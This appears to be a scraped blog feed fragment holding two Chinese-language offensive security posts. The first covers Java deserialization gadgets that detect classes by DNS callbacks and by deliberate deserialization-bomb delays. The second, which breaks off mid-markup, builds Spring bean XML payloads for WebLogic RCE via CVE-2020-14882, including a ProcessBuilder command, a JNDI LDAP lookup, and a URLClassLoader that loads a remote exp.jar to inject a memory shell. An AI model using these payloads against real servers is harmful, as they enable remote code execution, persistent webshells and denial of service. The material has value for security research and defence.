class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// java.util.HashMap#readObject</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> IOException, ClassNotFoundException</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> ......</span><br><span class="line"> <span class="comment">// Read the keys and values, and put the mappings in the HashMap</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>; i<mappings; i++) {</span><br><span class="line"> <span class="comment">// 序列化要探测的Class</span></span><br><span class="line"> K key = (K) s.readObject();</span><br><span class="line"> <span class="comment">// 反序列化URL对象</span></span><br><span class="line"> V value = (V) s.readObject();</span><br><span class="line"> putForCreate(key, value);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最终gadget构造如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Authors</span>({ Authors.NOPOINT,Authors.C0NY1 })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FindClassByDNS</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String command)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> String[] cmds = command.split(<span class="string">"\\|"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(cmds.length != <span class="number">2</span>){</span><br><span class="line"> System.out.println(<span class="string">"<url>|<class name>"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> String url = cmds[<span class="number">0</span>];</span><br><span class="line"> String clazzName = cmds[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"> URLStreamHandler handler = <span class="keyword">new</span> SilentURLStreamHandler();</span><br><span class="line"> HashMap ht = <span class="keyword">new</span> HashMap();</span><br><span class="line"> URL u = <span class="keyword">new</span> URL(<span class="keyword">null</span>, url, handler);</span><br><span class="line"> <span class="comment">// 以URL对象为key,以探测Class为value</span></span><br><span class="line"> ht.put(u, makeClass(clazzName));</span><br><span class="line"> Reflections.setFieldValue(u, <span class="string">"hashCode"</span>, -<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">return</span> ht;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a "http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap</span><br></pre></td></tr></table></figure><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/find-class-by-dnslog.png" alt="使用dnslog探测class"></p><h2 id="0x05-通过反序列化炸弹探测class"><a href="#0x05-通过反序列化炸弹探测class" class="headerlink" title="0x05 通过反序列化炸弹探测class"></a>0x05 通过反序列化炸弹探测class</h2><p>有些环境可能没有配置DNS服务,这个时候就无法使用上面的gadget来探测。为了应对这个场景,我第一时间想到的就是改造<code>JRMPClient</code>。但是看了下调用链中的class没有Object类型的属性,没法断链。于是只能去挖掘新gadget,后面大约花了一周时间也没有成果。加之有其他事情,构造的事就搁浅了一段时间。直到无意间拜读<code>@fnmsd</code>师父的文章,看到了<code>@Joshua Bloch</code>的<a href="https://homepages.ecs.vuw.ac.nz/~alex/files/DietrichJezekRasheedTahirPotaninECOOP2017.pdf" target="_blank" rel="noopener">《effective java》</a>,瞬间来了灵感。</p><p>里面给出了一个反序列化炸弹的技巧,<strong>通过构造特殊的多层嵌套HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器所有性能,导致拒绝服务。在这个基础上,我选择消耗部分性能达到间接延时的作用,来探测class。</strong> 控制深度确定时间,使用class作为HashSet节点,</p><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/the-principle-of-java-deserialization-bomb.png" alt="使用反序列化炸弹探测class原理"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Authors</span>({ Authors.C0NY1 })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FindClassByBomb</span> <span class="keyword">extends</span> <span class="title">PayloadRunner</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span> <span class="params">( <span class="keyword">final</span> String command )</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">int</span> depth;</span><br><span class="line"> String className = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(command.contains(<span class="string">"|"</span>)){</span><br><span class="line"> String[] x = command.split(<span class="string">"\\|"</span>);</span><br><span class="line"> className = x[<span class="number">0</span>];</span><br><span class="line"> depth = Integer.valueOf(x[<span class="number">1</span>]);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> className = command;</span><br><span class="line"> depth = <span class="number">28</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Class findClazz = makeClass(className);</span><br><span class="line"> Set<Object> root = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> Set<Object> s1 = root;</span><br><span class="line"> Set<Object> s2 = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < depth; i++) {</span><br><span class="line"> Set<Object> t1 = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> Set<Object> t2 = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"> t1.add(findClazz);</span><br><span class="line"></span><br><span class="line"> s1.add(t1);</span><br><span class="line"> s1.add(t2);</span><br><span class="line"></span><br><span class="line"> s2.add(t1);</span><br><span class="line"> s2.add(t2);</span><br><span class="line"> s1 = t1;</span><br><span class="line"> s2 = t2;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> root;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在<code>25</code>到<code>28</code>之间,切记不要设置太大否则造成DOS。</p><p>我们来看下效果。InvokerTransformer类存在,延时25s。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a "org.apache.commons.collections.functors.InvokerTransformer|28"</span><br></pre></td></tr></table></figure><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/find-class-by-bomb-test1.png" alt="探测存在的class延时成功"></p><p>InvokerTransformer666类不存在,不延时。</p><p><img src="/articles/2021/construct-java-detection-class-deserialization-gadget/find-class-by-bomb-test2.png" alt="探测不存在的class不延时"></p><h2 id="0x06-配合class-checklist食用"><a href="#0x06-配合class-checklist食用" class="headerlink" title="0x06 配合class checklist食用"></a>0x06 配合class checklist食用</h2><p>要想在实战中使用,我们就需要事先去制作一份class的<code>checklist</code>备用。下面我通过diff maven中央仓库的统计的结果。最新的<code>checklist</code>和<code>gadget</code>都更新到<code>ysoserial-for-woodpecker</code>项目。</p><h5 id="6-1-CommonsCollections"><a href="#6-1-CommonsCollections" class="headerlink" title="6.1 CommonsCollections"></a>6.1 CommonsCollections</h5><p>必须存在类:org.apache.commons.collections.functors.ChainedTransformer</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">>= 3.1 or = 20040616</td><td align="center">org.apache.commons.collections.list.TreeList</td><td align="center">是</td><td align="center">无</td></tr><tr><td align="center">>= 3.2.2</td><td align="center">org.apache.commons.collections.functors.FunctorUtils$1</td><td align="center">否</td><td align="center">无</td></tr></tbody></table><h4 id="6-2-CommonsCollections4"><a href="#6-2-CommonsCollections4" class="headerlink" title="6.2 CommonsCollections4"></a>6.2 CommonsCollections4</h4><p>必须存在类:org.apache.commons.collections4.comparators.TransformingComparator</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">>= 4.1</td><td align="center">否</td><td align="center">存在org.apache.commons.collections4.FluentIterable</td><td align="center">无</td></tr><tr><td align="center">4.0</td><td align="center">否</td><td align="center">不存在org.apache.commons.collections4.FluentIterable</td><td align="center">无</td></tr></tbody></table><h4 id="6-3-CommonsBeanutils"><a href="#6-3-CommonsBeanutils" class="headerlink" title="6.3 CommonsBeanutils"></a>6.3 CommonsBeanutils</h4><p>必须存在类:org.apache.commons.beanutils.BeanComparator</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">>= 1.9.0</td><td align="center">是</td><td align="center">存在org.apache.commons.beanutils.BeanIntrospector</td><td align="center">org.apache.commons.beanutils.BeanComparator -2044202215314119608</td></tr><tr><td align="center">1.7.0 <= <= 1.8.3</td><td align="center">是</td><td align="center">存在org.apache.commons.collections.Buffer</td><td align="center">org.apache.commons.beanutils.BeanComparator -3490850999041592962</td></tr><tr><td align="center">>= 1.6 or = 20030211.134440</td><td align="center">是</td><td align="center">存在org.apache.commons.beanutils.ConstructorUtils</td><td align="center">org.apache.commons.beanutils.BeanComparator 2573799559215537819</td></tr><tr><td align="center">>= 1.5 or 20021128.082114 > 1.4.1</td><td align="center">是</td><td align="center">存在org.apache.commons.beanutils.BeanComparator</td><td align="center">org.apache.commons.beanutils.BeanComparator 5123381023979609048</td></tr></tbody></table><h4 id="6-4-c3p0"><a href="#6-4-c3p0" class="headerlink" title="6.4 c3p0"></a>6.4 c3p0</h4><p>必须存在类:com.mchange.v2.c3p0.PoolBackedDataSource</p><table><thead><tr><th align="center">版本范围</th><th align="center">漏洞版本</th><th align="center">判断类</th><th align="center">suid冲突</th></tr></thead><tbody><tr><td align="center">0.9.5-pre9 ~ 0.9.5.5</td><td align="center">是</td><td align="center">存在com.mchange.v2.c3p0.test.AlwaysFailDataSource</td><td align="center">com.mchange.v2.c3p0.PoolBackedDataSource -2440162180985815128</td></tr><tr><td align="center">0.9.2-pre2-RELEASE ~ 0.9.5-pre8</td><td align="center">是</td><td align="center">不存在com.mchange.v2.c3p0.test.AlwaysFailDataSource</td><td align="center">com.mchange.v2.c3p0.PoolBackedDataSource 7387108436934414104</td></tr></tbody></table><p>以c3p0为例子,我们判断的步骤应该是</p><ol><li>第一步判断<code>com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase</code>是否存在,若存在C3P0可用</li><li>第二步判断<code>com.mchange.v2.c3p0.test.AlwaysFailDataSource</code>是否存在,存在说明是高版本,suid切换<code>-2440162180985815128</code>。否则切换<code>7387108436934414104</code></li></ol><h2 id="0x07-最后的思考"><a href="#0x07-最后的思考" class="headerlink" title="0x07 最后的思考"></a>0x07 最后的思考</h2><p>有了类探测当然不只可以做排查gadget可用性问题,只要你维护出一个不错的class checklist。如下信息都可以判断:</p><ol><li>Oracle jdk or Open jdk</li><li>是jre还是jdk</li><li>中间件类型(辅助构造回显/内存马)</li><li>使用的web框架</li><li>BCEL classloader是否存在</li><li>判断java版本是否低于<7u104(该版本可以00截断)</li><li>……</li></ol><p>其他类型(Xstream/Fastjson/SnakeYaml…)的反序列化gadget也是一样的思路,小tips是否可以变成利器,看挥舞它的人。</p><h2 id="0x08-参考文章"><a href="#0x08-参考文章" class="headerlink" title="0x08 参考文章"></a>0x08 参考文章</h2><ul><li><a href="https://blog.csdn.net/nevermorewo/article/details/100100048" target="_blank" rel="noopener">反序列化炸弹</a></li><li><a href="https://blog.csdn.net/fnmsd/article/details/115672540?spm=1001.2014.3001.5501" target="_blank" rel="noopener">Java反序列化机制拒绝服务的利用与防御</a></li><li><a href="https://github.com/jbloch/effective-java-3e-source-code/" target="_blank" rel="noopener">https://github.com/jbloch/effective-java-3e-source-code/</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>你是否遇到过这样的情况,黑盒环境下有一个序列化入口。你将ysoserial所有gadget的测试了一
</summary>
<category term="漏洞利用" scheme="https://gv7.me/tags/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
</entry>
<entry>
<title>weblogic下spring bean RCE的一些拓展</title>
<link href="https://gv7.me/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/"/>
<id>https://gv7.me/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/</id>
<published>2021-10-07T09:10:34.000Z</published>
<updated>2021-12-31T06:16:17.577Z</updated>
<content type="html"><![CDATA[<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>有一次通过<code>CVE-2020-14882</code>漏洞打了一台Windows上的<code>weblogic 10.3.6.0</code>,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"pb"</span> <span class="attr">class</span>=<span class="string">"java.lang.ProcessBuilder"</span> <span class="attr">init-method</span>=<span class="string">"start"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span>cmd<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span>/c<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span><![CDATA[calc]]><span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>只能思考如何构造可以执行任意代码的<code>spring bean xml</code>来一键注入内存马了。</p><p><strong>weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。</strong></p><p>同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。</p><ol><li>兼容性高</li><li>利用复杂度低</li><li>简洁体积小</li></ol><p>接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。</p><h2 id="0x01-init-method系列payload"><a href="#0x01-init-method系列payload" class="headerlink" title="0x01 init-method系列payload"></a>0x01 init-method系列payload</h2><p>目前公开的payload是将恶意数据传入构成函数,然后通过<code>init-method</code>来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。</p><h4 id="1-2-UnitOfWorkChangeSet"><a href="#1-2-UnitOfWorkChangeSet" class="headerlink" title="1.2 UnitOfWorkChangeSet"></a>1.2 UnitOfWorkChangeSet</h4><p>在weblogic 10.3.6.0版本有一个<code>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</code>类,构造函数可以直接触发反序列化。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"pb"</span> <span class="attr">class</span>=<span class="string">"oracle.toplink.internal.sessions.UnitOfWorkChangeSet"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="comment"><!-- 反序列化gadget序列化数据 --></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>-84<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>-19<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>0<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>5<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> ......</span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>但是这个payload需要有gadget才能任意代码执行,显然不是很完美。</p><h4 id="1-2-XmlDecoder"><a href="#1-2-XmlDecoder" class="headerlink" title="1.2 XmlDecoder"></a>1.2 XmlDecoder</h4><p>在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">String xml = <span class="string">"<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>"</span>;</span><br><span class="line"></span><br><span class="line">ByteArrayInputStream inputStream = <span class="keyword">new</span> ByteArrayInputStream(xml.getBytes());</span><br><span class="line">XMLDecoder xmlDecoder = <span class="keyword">new</span> XMLDecoder(inputStream);</span><br><span class="line">xmlDecoder.readObject();</span><br></pre></td></tr></table></figure><p>把上面代码转成spring bean如下:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"pb"</span> <span class="attr">class</span>=<span class="string">"java.beans.XMLDecoder"</span> <span class="attr">init-method</span>=<span class="string">"readObject"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"x"</span> <span class="attr">class</span>=<span class="string">"java.io.ByteArrayInputStream"</span> ></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="comment"><!-- xml序列化内容 --></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>60<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>106<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>97<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>118<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>97<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"byte"</span>></span>62<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> ......</span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。</p><h2 id="0x02-factory-method系列payload"><a href="#0x02-factory-method系列payload" class="headerlink" title="0x02 factory-method系列payload"></a>0x02 factory-method系列payload</h2><p>后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路</p><ol><li>编写gadgetinspector规则挖掘符合条件的class</li><li>再翻翻官方文档,看看有没有可能直接调用有参数方法。</li></ol><p>很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看<a href="https://docs.spring.io/spring-framework/docs/current/reference/html/core.html" target="_blank" rel="noopener">官方文档</a>时,我着重关注如下涉及方法调用的标签和属性。</p><table><thead><tr><th>标签/属性</th><th>分析</th></tr></thead><tbody><tr><td><bean><constructor-arg></constructor-arg></bean></td><td>调用构造器</td></tr><tr><td><property></td><td>创建bean时,可调setter方法</td></tr><tr><td>init-method</td><td>bean初始化时,可以调用一个无参方法</td></tr><tr><td>destroy-method</td><td>bean被销毁时,可以调用一个无参方法</td></tr><tr><td>lookup-method</td><td>可以控制返回结果,但是weblogic没有cglib库,这个标签没发用</td></tr><tr><td>replace-method</td><td>任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑</td></tr><tr><td>factory-method</td><td>通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以</td></tr></tbody></table><p>很显然factory-method非常符合我们的要求,构造起payload就轻松多了。</p><h4 id="2-1-jndi"><a href="#2-1-jndi" class="headerlink" title="2.1 jndi"></a>2.1 jndi</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">class</span>=<span class="string">"javax.naming.InitialContext"</span> <span class="attr">factory-method</span>=<span class="string">"doLookup"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"ldap://127.0.0.1:1664/exp"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>jndi有jdk版本限制,so继续优化。</p><h4 id="2-2-loadjar"><a href="#2-2-loadjar" class="headerlink" title="2.2 loadjar"></a>2.2 loadjar</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"classLoader"</span> <span class="attr">class</span>=<span class="string">"java.net.URLClassLoader"</span> ></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span> <span class="attr">type</span>=<span class="string">"java.net.URL"</span>></span>http://127.0.0.1:1664/exp.jar<span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">list</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">constructor-arg</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazz"</span> <span class="attr">factory-bean</span>=<span class="string">"classLoader"</span> <span class="attr">factory-method</span>=<span class="string">"loadClass"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"InjectMemshell"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">factory-bean</span>=<span class="string">"clazz"</span> <span class="attr">factory-method</span>=<span class="string">"newInstance"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。</p><h4 